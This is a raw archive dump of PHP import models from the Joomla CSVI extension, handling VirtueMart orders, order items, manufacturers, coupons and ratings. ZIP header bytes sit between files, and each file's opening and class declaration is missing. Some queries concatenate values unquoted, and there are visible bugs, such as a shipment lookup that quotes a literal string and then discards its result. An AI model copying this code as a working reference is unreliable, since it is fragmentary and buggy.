_getUserId() { if (isset($this->username)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('username = '.$db->Quote($this->username)); $db->setQuery($query); $result = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_FIND_USER_ID'), true); if ($result) return $result; else return false; } else return false; } } ?>PKs>\sRff9com_csvi/models/com_virtuemart/import/orderitemimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'product_price': $this->product_item_price = $this->cleanPrice($value); break; case 'product_final_price': $this->$name = $this->cleanPrice($value); break; case 'product_sku': $this->order_item_sku = $value; $this->product_sku = $value; break; case 'product_name': $this->order_item_name = $value; break; case 'created_on': $this->cdate = $this->convertDate($value); break; case 'modified_on': $this->mdate = $this->convertDate($value); break; case 'address_type': switch (strtolower($name)) { case 'shipping address': case 'st': $this->$name = 'ST'; break; case 'billing address': case 'bt': default: $this->$name = 'BT'; break; } break; case 'order_status_name': $this->order_status = $this->helper->getOrderStatus($value); break; default: $this->$name = $value; break; } } // Check if we have an order ID if (!isset($this->virtuemart_order_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_ORDER_ID_FOUND')); return false; } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check for product ID if (!isset($this->virtuemart_product_id) && isset($this->product_sku)) { $this->virtuemart_product_id = $this->helper->getProductId(); if (empty($this->virtuemart_product_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_PRODUCT_ID_FOUND')); return false; } } else if (isset($this->virtuemart_product_id) && !isset($this->product_sku)) { $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $this->order_item_sku = $db->loadResult(); } else if (!isset($this->virtuemart_product_id) && !isset($this->product_sku)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_PRODUCT_ID_OR_SKU')); return false; } // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_order_items->modified_on = $this->date->toMySQL(); $this->_order_items->modified_by = $this->user->id; } // Check if there is an existing order item $query = $db->getQuery(true); $query->select('virtuemart_order_item_id'); $query->from('#__virtuemart_order_items'); $query->where('virtuemart_order_id = '.$this->virtuemart_order_id); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $query->where('virtuemart_vendor_id = '.$this->virtuemart_vendor_id); $db->setQuery($query); $this->virtuemart_order_item_id = $db->loadResult(); if (empty($this->virtuemart_order_item_id) && !isset($this->created_on)) { $this->_order_items->created_on = $this->date->toMySQL(); $this->_order_items->created_by = $this->user->id; } else { $this->_order_items->load($this->virtuemart_order_item_id); } // Bind the data $this->_order_items->bind($this); // Check if we have a product name if (empty($this->_order_items->order_item_name)) { $query = $db->getQuery(true); $query->select('product_name'); $query->from('#__virtuemart_products_'.$template->get('language', 'general')); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $this->_order_items->order_item_name = $db->loadResult(); } // Store the data if ($this->_order_items->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDER_ITEM')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDER_ITEM')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDER_ITEM_NOT_ADDED', $this->_order_items->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_ORDER_ITEM_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the order item related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_order_items = $this->getTable('order_items'); } /** * Cleaning the order item related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_order_items->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?> PKs>\.((<com_csvi/models/com_virtuemart/import/manufacturerimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'mf_category_name': $this->_manufacturer_categories_lang->mf_category_name = $value; break; default: $this->$name = $value; break; } } return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we need to get manufacturer category ID if (empty($this->virtuemart_manufacturercategories_id) && isset($this->_manufacturer_categories_lang->mf_category_name)) { if ($this->_manufacturer_categories_lang->check(false)) { $this->virtuemart_manufacturercategories_id = $this->_manufacturer_categories_lang->virtuemart_manufacturercategories_id; } } // Check for the manufacturer ID if (!isset($this->virtuemart_manufacturer_id)) $this->_getManufacturerId(); // Bind the data $this->_manufacturers->bind($this); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_manufacturers->modified_on = $this->date->toMySQL(); $this->_manufacturers->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_manufacturer_id)) { $this->_manufacturers->created_on = $this->date->toMySQL(); $this->_manufacturers->created_by = $this->user->id; } // Check if we need to delete the manufacturer if ($this->manufacturer_delete == 'Y') { $this->_deleteManufacturer(); } else { // Store the data if ($this->_manufacturers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER')); $this->virtuemart_manufacturer_id = $this->_manufacturers->get('virtuemart_manufacturer_id'); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_NOT_ADDED', $this->_manufacturers->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MANUFACTURER_QUERY'), true); // Store the language fields $this->_manufacturers_lang->bind($this); $this->_manufacturers_lang->virtuemart_manufacturer_id = $this->virtuemart_manufacturer_id; if ($this->_manufacturers_lang->check()) { if ($this->_manufacturers_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_manufacturers_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_manufacturers_lang->getError())); return false; } // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MANUFACTURER_LANG_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the manufacturer related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_manufacturers = $this->getTable('manufacturers'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_manufacturers_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else if (!in_array($db->getPrefix().'virtuemart_manufacturercategories_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; $this->_manufacturers_lang = $this->getTable('manufacturers_lang'); $this->_manufacturer_categories_lang = $this->getTable('manufacturer_categories_lang'); } } /** * Cleaning the manufacturer related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_manufacturers->reset(); $this->_manufacturers_lang->reset(); $this->_manufacturer_categories_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete a manufacturer and its references * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteManufacturer() { if (!empty($this->virtuemart_manufacturer_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Delete product manufacturer xref $query = $db->getQuery(true); $query->delete('#__product_manufacturers'); $query->where('virtuemart_manufacturer_id = '.$this->virtuemart_manufacturer_id); $db->setQuery(); if ($db->query()) { $csvilog->addStats('deleted', JText::_('COM_CSVI_MANUFACTURER_XREF_DELETED')); } else { $csvilog->addStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_XREF_NOT_DELETED', $db->getErrorMsg())); } // Delete translations jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); foreach ($languages as $language){ $query = $db->getQuery(true); $query->delete('#__virtuemart_manufacturers_'.strtolower(str_replace('-', '_', $language))); $query->where('virtuemart_manufacturer_id = '.$this->virtuemart_manufacturer_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MANUFACTURER_LANG_XREF'), true); $db->query(); } // Delete manufacturer if ($this->_manufacturers->delete($this->virtuemart_manufacturer_id)) { $csvilog->AddStats('deleted', JText::_('COM_CSVI_DELETE_MANUFACTURER')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_NOT_DELETED', $this->_manufacturers->getError())); } // Delete media $query = $db->getQuery(true); $query->delete('#__virtuemart_manufacturer_medias'); $query->where('virtuemart_manufacturer_id = '.$this->virtuemart_manufacturer_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MEDIA_XREF'), true); $db->query(); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_NOT_DELETED_NO_ID')); } } /** * Get the manufacturer ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed integer when category ID found | false when not found * @since 3.0 */ private function _getManufacturerId() { $this->_manufacturers_lang->set('mf_name', $this->mf_name); if ($this->_manufacturers_lang->check(false)) { $this->virtuemart_manufacturer_id = $this->_manufacturers_lang->virtuemart_manufacturer_id; return true; } else return false; } } ?> PKs>\W6com_csvi/models/com_virtuemart/import/couponimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'coupon_value': case 'coupon_value_valid': $this->$name = $this->cleanPrice($value); break; case 'coupon_start_date': case 'coupon_expiry_date': $this->$name = $this->convertDate($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Set some basic values if (!isset($this->modified_on)) { $this->_coupons->modified_on = $this->date->toMySQL(); $this->_coupons->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_coupon_id)) { $this->_coupons->created_on = $this->date->toMySQL(); $this->_coupons->created_by = $this->user->id; } // Bind the data $this->_coupons->bind($this); // Check the data $this->_coupons->check(); // Store the data if ($this->_coupons->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_COUPON')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_COUPON')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COUPON_NOT_ADDED', $this->_coupons->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_COUPON_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_coupons = $this->getTable('coupons'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_coupons->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PKs>\ 6com_csvi/models/com_virtuemart/import/ratingimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Load the helper $this->helper = new Com_VirtueMart(); // Get the product ID $this->virtuemart_product_id = $this->helper->getProductId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; default: $this->$name = $value; break; } } return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; // Get the imported values $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDBO(); // Check if there is a product ID if (!empty($this->virtuemart_product_id)) { // Find the user ID for the username if (isset($this->username)) { $q = "SELECT id FROM #__users WHERE username = ".$db->Quote($this->username); $db->setQuery($q); $this->created_by = $db->loadResult(); } // Set some basic values if (is_null($this->lastip)) $this->lastip = $_SERVER['SERVER_ADDR']; if (is_null($this->created_on)) $this->created_on = $this->date->toMySQL(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->modified_on = $this->date->toMySQL(); $this->modified_by = $this->user->id; } // Bind the data $this->_rating_reviews->bind($this); // Store the rating reviews if ($this->_rating_reviews->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_REVIEW')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_REVIEW')); // Store the rating votes $this->_rating_votes->bind($this); if ($this->_rating_votes->store($this)) { // Update product votes $vote = new stdClass(); $vote->virtuemart_product_id = $this->virtuemart_product_id; $vote->created_on = $this->created_on; $vote->created_by = $this->created_by; $vote->modified_on = $this->modified_on; $vote->modified_by = $this->modified_by; // Check if an entry already exist $query = $db->getQuery(true); $query->select('virtuemart_rating_id'); $query->from('#__virtuemart_ratings'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $vote->virtuemart_rating_id = $db->loadResult(); // Vote exists if ($vote->virtuemart_rating_id > 0) { // Get all the votes $q = "SELECT vote FROM #__virtuemart_rating_votes WHERE virtuemart_product_id = ".$this->virtuemart_product_id; $db->setQuery($q); $ratings = $db->loadResultArray(); // Create the new totals $vote->ratingcount = count($ratings); $vote->rates = array_sum($ratings); $vote->rating = $vote->rates / $vote->ratingcount; } // Vote does not exist else { $vote->rates = $this->vote; $vote->rating = $this->vote; $vote->ratingcount = 1; } // Store the ratings $this->_ratings->bind($vote); $this->_ratings->check(); $this->_ratings->store(); } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_REVIEW_NOT_ADDED', $this->_rating_reviews->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_REVIEW_QUERY'), true); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_REVIEW_NO_PRODUCT_ID')); } // Clean the tables $this->cleanTables(); } /** * Load the reviews related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_ratings = $this->getTable('ratings'); $this->_rating_reviews = $this->getTable('rating_reviews'); $this->_rating_votes = $this->getTable('rating_votes'); } /** * Cleaning the product related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_ratings->reset(); $this->_rating_reviews->reset(); $this->_rating_votes->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?> PKs>\˟PP5com_csvi/models/com_virtuemart/import/orderimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'customer_notified': $this->$name = (strtoupper($value) == 'N') ? 0 : 1; break; case 'order_status': $this->$name = $value; break; case 'order_status_name': $this->order_status_code = $this->helper->getOrderStatus($value); $this->order_status = $this->order_status_code; break; case 'order_total': case 'order_subtotal': case 'order_tax': case 'order_shipment': case 'order_shipment_tax': case 'order_payment': case 'order_payment_tax': case 'coupon_discount': case 'order_discount': $this->$name = $this->cleanPrice($value); break; default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Load the order user details if (!isset($this->virtuemart_user_id) && isset($this->email)) { $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('email = '.$db->Quote($this->email)); $db->setQuery($query); $this->virtuemart_user_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_RETRIEVE_USER_ID'), true); } if (isset($this->virtuemart_user_id)) { $query = $db->getQuery(true); $query->select('*'); $query->from('#__virtuemart_userinfos'); $query->where('address_type = '.$db->Quote('BT')); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $db->setQuery($query); $userdetails = $db->loadObject(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_USER_DETAILS'), true); } else { $csvilog->addDebug(JText::_('COM_CSVI_NOT_PROCESS_USER')); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NOT_PROCESS_USER')); return false; } // Check if we have an order ID if (empty($this->virtuemart_order_id) && !empty($this->order_number)) { $query = $db->getQuery(true); $query->select('virtuemart_order_id'); $query->from('#__virtuemart_orders'); $query->where('order_number = '.$db->Quote($this->order_number)); $db->setQuery($query); $this->virtuemart_order_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_ORDER_ID'), true); } // Load the order if there is an order_id if (empty($this->virtuemart_order_id)) { // Add a creating date if there is no order id $this->_orders->created_on = $this->date->toMySQL(); $this->_orders->created_by = $this->user->id; // Create an order number if it is empty if (empty($this->order_number)) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CREATE_ORDER_NUMBER')); $this->order_number = substr(md5(session_id().(string)time().(string)$this->virtuemart_user_id), 0, 8); } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_NOT_CREATE_ORDER_NUMBER')); } // Create an order pass if (empty($this->order_pass)) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CREATE_ORDER_PASS')); $this->order_pass = 'p_'.substr(md5(session_id().(string)time().(string)$this->order_number), 0, 6); } // Check the user currency if (!isset($this->user_currency_id) && isset($this->user_currency)) { $query = $db->getQuery(true); $query->select('virtuemart_currency_id'); $query->from('#__virtuemart_currencies'); $query->where('currency_code_3 = '.$db->Quote($this->user_currency)); $db->setQuery($query); $this->user_currency_id = $db->loadResult(); } // Check the currency rate if (!isset($user->user_currency_rate)) { $user->user_currency_rate = 1; } // Check the order currency if (!isset($this->order_currency)) $this->_orders->order_currency = $this->user_currency_id; // Check the user info id //if (empty($this->virtuemart_order_id)) $this->virtuemart_order_userinfo_id = $userdetails->virtuemart_userinfo_id; // Check the pyament method ID if (!isset($this->virtuemart_paymentmethod_id)) { // Handle the payment method ID if (isset($this->payment_element)) { $query = $db->getQuery(true); $query->select('virtuemart_paymentmethod_id'); $query->from('#__virtuemart_paymentmethods'); $query->where('payment_element = '.$db->Quote($this->payment_element)); $db->setQuery($query); $this->virtuemart_paymentmethod_id = $db->loadResult(); } else $this->virtuemart_paymentmethod_id = 0; } // Check order payment if (!isset($this->order_payment) )$this->_orders->order_payment = 0; // Check order payment tax if (!isset($this->order_payment_tax)) $this->_orders->order_payment_tax = 0; // Check the order_shipping if (!isset($this->order_shipment)) $this->order_shipment = 0; // Check the order_shipping_tax if (!isset($this->order_shipment_tax)) $this->order_shipment_tax = 0; // Check the coupon_code if (!isset($this->coupon_code)) $this->coupon_code = ''; // Check the customer note if (!isset($this->customer_note)) $this->customer_note = ''; // Check the IP address if (!isset($this->ip_address)) $this->ip_address = $_SERVER['SERVER_ADDR']; // Check the ship_method_id if (!isset($this->virtuemart_shipmentmethod_id)) { if (isset($this->shipment_element)) { $query = $db->getQuery(true); $query->select('virtuemart_shipmentmethod_id'); $query->from('#__virtuemart_shipmentmethods'); $query->where('shipment_element = '.$db->Quote('shipment_element')); $db->setQuery($query); $this->virtuemart_shipmentmethod_id = $db->loadResult(); } $this->virtuemart_shipmentmethod_id = ''; } } // Add the modification date if (!isset($this->modified_on)) { $this->_orders->modified_on = $this->date->toMySQL(); $this->_orders->modified_by = $this->user->id; } // Bind order data $this->_orders->bind($this); // Store the order if ($this->_orders->store()) { $csvilog->addDebug(JText::_('COM_CSVI_ORDER_QUERY'), true); if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDER')); $this->virtuemart_order_id = $this->_orders->virtuemart_order_id; } else { $csvilog->addDebug(JText::_('COM_CSVI_ORDER_QUERY'), true); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDER_NOT_ADDED', $this->_orders->getError())); // Clean the tables $this->cleanTables(); return false; } // Store the user info if (!isset($this->virtuemart_order_userinfo_id)) { // Check if there is the requested address in the database $query = $db->getQuery(true); $query->select('virtuemart_order_userinfo_id'); $query->from('#__virtuemart_order_userinfo'); $query->where('address_type = '.$db->Quote($this->address_type)); $query->where('virtuemart_order_id = '.$this->virtuemart_order_id); $db->setQuery($query); $this->virtuemart_order_userinfo_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_ORDER_INFO_ID'), true); } // Load the order info if ($this->virtuemart_order_userinfo_id) { $this->_order_userinfos->load($this->virtuemart_order_userinfo_id); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_ORDER_INFO'), true); if (!isset($this->modified_on)) { $this->_order_userinfos->modified_on = $this->date->toMySQL(); $this->_order_userinfos->modified_by = $this->user->id; } } if (!$this->virtuemart_order_userinfo_id || $this->_order_userinfos->virtuemart_user_id != $this->virtuemart_user_id) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_USER_ORDER_INFO')); // Address type name if (!isset($this->address_type_name)) $this->address_type_name = $userdetails->address_type_name; // Company if (!isset($this->company)) $this->company = $userdetails->company; // Title if (!isset($this->title)) $this->title = $userdetails->title; // Last name if (!isset($this->last_name)) $this->last_name = $userdetails->last_name; // First name if (!isset($this->first_name)) $this->first_name = $userdetails->first_name; // Middle name if (!isset($this->middle_name)) $this->middle_name = $userdetails->middle_name; // Phone 1 if (!isset($this->phone_1)) $this->phone_1 = $userdetails->phone_1; // Phone 2 if (!isset($this->phone_2)) $this->phone_2 = $userdetails->phone_2; // Fax if (!isset($this->fax)) $this->fax = $userdetails->fax; // Address 1 if (!isset($this->address_1)) $this->address_1 = $userdetails->address_1; // Address 2 if (!isset($this->address_2)) $this->address_2 = $userdetails->address_2; // City if (!isset($this->city)) $this->city = $userdetails->city; // State if (!isset($this->virtuemart_state_id)) { if (isset($this->state_name) || isset($this->state_2_code) || isset($this->state_3_code)) { $query = $db->getQuery(true); $query->select('virtuemart_state_id'); $query->from('#__virtuemart_states'); if (isset($this->state_name)) $query->where('state_name = '.$db->Quote($this->state)); else if (isset($this->state_2_code)) $query->where('state_2_code = '.$db->Quote($this->state_2_code)); else if (isset($this->state_3_code)) $query->where('state_3_code = '.$db->Quote($this->state_3_code)); $db->setQuery($query); $this->virtuemart_state_id = $db->loadResult(); } else $this->virtuemart_state_id = $userdetails->virtuemart_state_id; } // Country if (!isset($this->virtuemart_country_id)) { if (isset($this->country_name) || isset($this->country_2_code) || isset($this->country_3_code)) { $this->virtuemart_country_id = $this->helper->getCountryId($this->country_name, $this->country_2_code, $this->country_3_code); } else $this->virtuemart_country_id = $userdetails->virtuemart_country_id; } // Zip if (!isset($this->zip)) $this->zip = $userdetails->zip; // Agreed if (!isset($this->agreed)) $this->agreed = 0; // Modified date if (!isset($this->modified_on)) { $this->_order_userinfos->modified_on = $this->date->toMySQL(); $this->_order_userinfos->modified_by = $this->user->id; } // Created date if (!isset($this->created_on)) { $this->_order_userinfos->created_on = $this->date->toMySQL(); $this->_order_userinfos->created_by = $this->user->id; } } // Bind the user uploaded data $this->_order_userinfos->bind($this); // Store the order user info if ($this->_order_userinfos->store($this)) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDERUSER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDERUSER')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDERUSER_NOT_ADDED', $this->_order_userinfos->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_ORDERUSER_QUERY'), true); // Check if the order has at least a billing address if ($this->address_type == 'ST') { // Check if there is the requested address in the database $query = $db->getQuery(true); $query->select('virtuemart_order_userinfo_id'); $query->from('#__virtuemart_order_userinfos'); $query->where('address_type = '.$db->Quote('BT')); $query->where('virtuemart_order_id = '.$this->virtuemart_order_id); $db->setQuery($query); $bt_order_info_id = $db->loadResult(); // There is no BT address let's add one if (!$bt_order_info_id) { // Get all the fields from the user info table $q = "SHOW COLUMNS FROM #__virtuemart_userinfos"; $db->setQuery($q); $user_fields_raw = $db->loadAssocList(); $user_fields = array(); foreach($user_fields_raw as $user_field) { $user_fields[] = $user_field['Field']; } $q = "SHOW COLUMNS FROM #__virtuemart_order_userinfos"; $db->setQuery($q); $order_user_fields_raw = $db->loadAssocList(); $order_user_fields = array(); foreach($order_user_fields_raw as $user_field) { $order_user_fields[] = $user_field['Field']; } $copy_fields = array_intersect($order_user_fields, $user_fields); // Create the billing address entry $q = "INSERT INTO #__virtuemart_order_userinfos (".implode(',', $copy_fields).", virtuemart_order_id) (SELECT ".implode(',', $copy_fields).", ".$this->virtuemart_order_id." AS order_id FROM #__virtuemart_userinfos WHERE user_id = ".$this->virtuemart_user_id." AND address_type = 'BT')"; $db->setQuery($q); $db->query(); $csvilog->addDebug(JText::_('COM_CSVI_CREATE_BILLING_QUERY'), true); } } // Create an order history entry // Load the payment info if (isset($this->virtuemart_order_history_id)) { $this->_order_histories->load($this->virtuemart_order_history_id); if (!isset($this->modified_on)) { $this->_order_histories->modified_on = $this->date->toMySQL(); $this->_order_histories->modified_by = $this->user->id; } } else { if (!isset($this->modified_on)) { $this->_order_histories->modified_on = $this->date->toMySQL(); $this->_order_histories->modified_by = $this->user->id; } // Add a creating date if there is no product_id $this->_order_histories->created_on = $this->date->toMySQL(); $this->_order_histories->created_by = $this->user->id; if (!isset($this->customer_notified)) $this->customer_notified = 0; // Comments $this->_order_histories->comments = ''; } // Bind the payment data $this->_order_histories->bind($this); // Store the order history info if ($this->_order_histories->store($this)) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDER_HISTORY')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDER_HISTORY')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDER_PAYMNET_NOT_ADDED', $this->_order_histories->getError())); // 